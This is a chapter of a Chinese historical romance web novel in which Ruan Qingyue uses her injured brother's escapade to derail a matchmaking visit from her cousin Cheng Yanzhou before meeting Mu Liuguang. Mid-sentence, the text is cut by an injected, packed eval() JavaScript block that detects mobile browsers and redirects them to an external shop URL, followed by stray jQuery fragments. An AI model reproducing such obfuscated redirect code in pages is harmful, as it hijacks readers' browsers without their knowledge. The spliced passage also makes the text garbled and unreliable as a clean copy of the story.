36. 又吃醋了

作品:《回京后白月光她失宠了

    马车内,阮清廷捂着额角的伤,从指头缝里小心翼翼地瞄着阮清月。


    同时还大声地‘哎哟’个不停,一会儿哼哼疼得受不住,一会儿抱怨肯定要留疤,以期望获得阮清月的心疼。


    最好软声安慰他几句,然后再免了他的责罚。


    耳边是他聒噪的声音,阮清月却在出神。王詹事的刻意针对,显然不止是误抓那么简单,背后怕是牵扯着太子与齐家的暗中较量。


    她甚至怀疑,齐首辅肯让齐盛拜师,还拉上清廷当了师兄弟,是不是想把沈家和阮家,全都拉进这趟浑水里。


    他们这些大人物斗来斗去,最后连累的,往往是清廷这样对他们来说无关紧要,却是其他人至亲的小人物。


    阮清廷‘哎哟’了一路,看阮清月一直都没有反应,知道自己这次的责罚是躲不过去了,下马车的时候他耷拉着脑袋,跟在阮清月的后面进了阮府。


    “小姐,小少爷,”管家迎上来,“老爷今日去当值,还没回府。”


    阮清廷眼睛一亮,偷偷松了口气,父亲不在,至少不用挨顿狠骂了。


    他刚想跟阮清月往月华堂走,就见春桃急匆匆跑过来,凑到阮清月耳边压低声音:“小姐,老夫人让您带着小少爷去慈安堂,姑老夫人来了,身边还跟着程公子,说是...特意来给老夫人请安的。”


    阮清月脚步一顿,心里门儿清。这哪是请安,分明是提前把程砚舟带来相看了。


    她低头看向身边阮清廷鼻青脸肿的模样,心里忽然冒出一个主意。


    阮清月拉着阮清廷的胳膊,温和地问:“清廷,姐姐对你好不好?”


    阮清廷不明所以地点头,莫名觉得姐姐有种笑面虎的感觉。


    阮清月拍了拍他的肩膀,低声道:“等会儿到了慈安堂,不管我说什么,你都别插嘴,祖母问你,你就说我说的都是真的。”


    阮清廷一脸茫然,刚想问“说什么”,就被阮清月拉着往慈安堂走。


    进了慈安堂,果见老夫人和姑祖母坐在上首,姑祖母身边站着个身着月白长衫的公子,他面如冠玉,眉眼温软,手中还拿着一把折扇,越发的风度翩翩。正是多年不见的程砚舟。


    他看到阮清月,眼中闪过一丝温和的笑意,微微颔首,声音温润有礼:“清月表妹,许久不见。”


    “清月回来了啊,快坐。”老夫人笑着招手,指着程砚舟介绍。


    “清月,你瞧瞧你表哥,如今可是越发出息了!他现在在翰林院当差,上个月陛下看了他写的《边防策》,特意夸他有远见,说他是年轻一辈里少有的栋梁之才。而且他人品也好,你姑祖母常说,他从不沾花惹草,每日就埋在书堆里,性子沉稳,最是可靠。”


    姑祖母也跟着笑:“可不是嘛!我这孙儿,别的不说,对人实诚,若是将来成了家,定能好好疼惜妻子。我想着你们俩小时候玩得好,如今都到了年纪,便带他来给你祖母请安,也让你们俩叙叙旧。”


    这话里的意思再明显不过,阮清月只能尴尬地笑了笑,没接话。


    她朝背后的阮清廷挥挥手,示意他该出来了。


    阮清廷从她背后钻出来,笑嘻嘻地朝几人打招呼:“祖母好,姑祖母好,程表哥好~”


    老夫人一下子就看到阮清廷鼻青脸肿的样子,眉头瞬间皱起:“清廷这脸是怎么了?青一块紫一块的,跟人打架了?”


    阮清月连忙上前一步,温声解释:


    “祖母,清廷跟着齐盛去了鸿胪寺驿馆。您也知道,那里关押着携春殿刺杀的北戎嫌犯,围着禁军,多危险啊。他俩不知天高地厚,竟想偷偷溜进去看北戎的冷美人瑞侧妃,结果被王詹事的人抓了个正着,说是要按‘通敌’的罪名论处!您看看他这脸,就是被他们打的,若不是齐统领及时赶到,怕是现在还被关在大牢里呢!”


    阮清廷瞪大眼睛,一脸震惊地看着姐姐。


    事情是这么个事情,姐姐的话也没有夸张,但听她这说话的语气,怎么就这么的,让人觉得惊心动魄呢。


    阮清廷想开口反驳,为自己正名,却被阮清月悄悄掐了一把胳膊,只能把话咽回去,委屈地低下头。


    “什么?!”老夫人和姑祖母都惊得站了起来,老夫人一把拉过阮清廷,心疼地摸了摸他的脸。


    “我的乖孙,你怎么这么大胆子?鸿胪寺那种地方也是能去的。那可是陛下盯着的地方,万一真被按上通敌的罪名,咱们阮家都要跟着受牵连。你这孩子,怎么就这么不让人省心!”


    姑祖母也跟着叹气:“可不是嘛!现在朝堂上本就不太平,北戎的事更是敏感,清廷啊,以后可不能再这么鲁莽了。”


    原本好好的相看氛围,瞬间被阮清廷的事情打乱。


    老夫人满心思都是孙子和阮府的安危,哪还有心情再提让两人叙旧的事。


    程砚舟看在眼里,适时开口,语气温和地打圆场:“老夫人,祖母,您二位也别太担心。阮小公子年纪小,好奇是难免的,这次也是受了教训,以后定不会再犯了。”


    阮清廷立刻殷勤地点头,噘着嘴撒娇:“是啊祖母,孙儿知道错了~”


    老夫人无奈地瞪了他一眼,“吃了这次教训,看你以后还敢不敢。”


    “不敢不敢,我再也不敢了,祖母别生孙儿的气了~”


    老夫人挂念自己亲孙子,朝阮清月道:“清月,你赶紧带清廷回去敷药,好好看着他,别再让他乱跑了。等你父亲回来,记得把此事告诉他。”


    阮清廷一颗心刚放下,闻言商量地问:“....啊?要不,还是别说了吧?”


    老夫人不赞同地看着他,“必须说。”


    事关朝堂,万一因此事被人捏了把柄就不好了。


    知道事情已成定局,阮清廷耷拉着脑袋,垂头丧气地跟着阮清月一起出了慈安堂。


    “姐姐~~父亲知道了肯定会揍我的。”


    阮清廷还没有完全放弃,见老夫人这条路走不通,便打起了阮清月的主意,“你帮我求求情吧。”


    阮清月道:“祖母都没有办法,我又能如何。”


    阮清廷失望地向前走了两步,忽然想起一个主意:“我去找姑祖母!有她和程表哥在,父亲肯定不好意思对我动手。”


    阮清月拉住他:“不许去。”


    “为什么?”阮清廷不满地道。


    阮清月叹口气,“你以为姑祖母带着程表哥来府是为了什么?”


    阮清廷不以为意,“探望祖母的呗。”


    阮清月摇头,“咱们刚进慈安堂的时候,祖母和姑祖母说的话你没有听到吗?”


    阮清廷仔细回想她们当时说的话,越想越觉得不对劲,再看到姐姐笃定的眼神,阮清廷惊讶地道:“姑祖母想让你嫁给程表哥?”


    阮清月点头。


    阮清廷了然道:“姐姐不愿意?”


    阮清月坚定地道:“不愿意。”


    阮清廷没有再问为什么,“那好吧,姐姐不愿就算了。不过我瞧着祖母对程表哥挺满意的,姐姐,你躲得过初一躲不过十五啊,我觉得你还是早日和祖母说清楚比较好。”


    “我会尽快的。走,先回去给你上药。”


    阮清廷捂着脸向后退,“现在不能上药。我要等父亲回来,等他看完我这副惨样,说不定还能少罚我一些。”


    阮清月被他这天马行空的想法逗笑,开玩笑似的给他出主意:“既如此,你最好再去院里摔几下,这样才能引起父亲的同情心。”


    “是吗?那我现在就去摔。”


    阮清廷却觉得此计可行,开始认真地在院子里寻找可以‘摔倒’的地方。


    阮清月好笑地看着他,门口小文捧着个青瓷瓶走了进来:“小姐,这是齐府派人送来的,说是齐大公子特意吩咐,给小少爷治伤的药膏。”


    阮清月接过瓷瓶,指尖摩挲着瓶身的纹路,心想这齐凛倒是细心,只是还有些摸不准他的心思到底是什么。


    她看着身边正龇牙咧嘴揉额头的弟弟,心里的顾虑又深了几分。


    清廷和齐盛成了师兄弟,如今又因鸿胪寺的事被齐凛所救,阮


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750265|187351||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    家与齐家的关系,怕是越来越难撇清了。


    “姐姐,这药膏好用吗?”阮清廷凑过来,好奇地盯着瓷瓶。


    “先试试?”阮清月打开瓷瓶,一股清凉的药香扑面而来。


    阮清廷立刻躲过去,“父亲还没回来呢,姐姐,你说我要不要先去祠堂跪着?”


    阮清月重新把药瓶放好,“是个好主意,去吧。”


    “好嘞~”


    阮清廷应了一声,蹦蹦跳跳地向府里的祠堂走去。


    阮清月看着他的背影,又低头看了看齐府送来的药膏。她本想等父亲回来,问问要不要和齐府的来往疏离些,可清廷和齐盛已是师兄弟,这份牵扯,哪是说断就能断的。


    她正出神,小文又进来禀报:“小姐,程公子来了,说方才在慈安堂匆忙,没把药膏给您,特意回府取了送来。”


    程砚舟为了一瓶药膏特意跑了一趟,她若不去倒显得不合适了。阮清月将齐府的药膏收好,对小文道:“让他去花厅等着,我马上过去。”


    等她到时,程砚舟已经等了一会儿。见她进来,他转身拱手,语气温和:“清月表妹。”


    “程表哥不必多礼,倒是劳烦你特意跑一趟。”阮清月在他对面坐下,目光落在他手中的小瓷瓶上。


    程砚舟将瓷瓶递过来,笑着解释:“这是我家传的消肿药膏,效果比寻常药膏好,我见小表弟伤势不轻,便回府取了一趟。”


    他顿了顿,又道,“药膏每日敷两次,敷之前用温水擦净伤处,三日就能消肿,也不会留疤。”


    阮清月接过瓷瓶,指尖触到瓶身的温热,想来是他一直揣在怀里,才带着体温。


    她心里有些复杂,程砚舟的体贴周到,正是长辈们眼中良配的模样,可这份好,却不是她想要的。


    “多谢表哥费心,改日我让清廷亲自去程府道谢。”


    “不必客气,咱们是表兄妹,本该互相照应。”


    程砚舟的目光落在她脸上,带着几分温和的试探,“清月表妹,今日天气好,不如我陪你在花园里走走,就当是叙叙旧?”


    阮清月正不知如何回应,外头传来管家匆匆忙忙的声音:“小姐,老爷回府了,这会儿正准备去祠堂。”


    阮清月心里松了口气,连忙起身:“程表哥,实在抱歉,父亲回来定是为了清廷的事,今日我怕是不能陪你散步了。”


    程砚舟眼底闪过一丝失落,却还是笑着点头:“无妨,你先去忙,我今日就先告辞,改日再来看望老夫人。”


    “那我送你出去。”


    程砚舟想说不用,清廷的事要紧。


    可是看她已经站起身,他也想和她再多相处一会,便没有开口拒绝。


    “好,多谢表妹。”


    两人一道向外走。


    各怀心事,一路沉默到了府门口。


    刚出府门,阮清月就瞧见了街角西南方向停着一辆熟悉的马车。


    是慕流光来了。


    她心里一暖,脸上不自觉地露出真诚的微笑,对程砚舟道:“程表哥慢走,我就不远送了。”


    看到她脸上突然出现的笑容,正在上车的程砚舟愣了瞬息。又在她催促的目光中回过神来,他道:“好,改日再见。”


    阮清月没听清他的话,看到程砚舟放下了车帘,马车缓缓向前而去。


    她迫不及待地朝慕流光的马车走去,轻轻敲了敲车身:“慕流光?”


    车帘被掀开,慕流光的脸出现在眼前,他的眼神深邃,眼底还有一丝没有散开的冷意。


    “上车。”他声音低沉,带着几分不易察觉的期待。


    阮清月笑着弯腰钻进马车,还未坐稳,就被慕流光一把拉进怀里。


    阮清月来不及反应,身体摇晃悬空之下,只得抱着他的脖子维持平衡。


    慕流光的手臂下意识地收紧,将她牢牢圈在自己与车壁之间。


    他控制不住自己。


    要将她从刚刚与程砚舟相处的氛围里,把她“抢”回来,护在这片只属于自己的领地。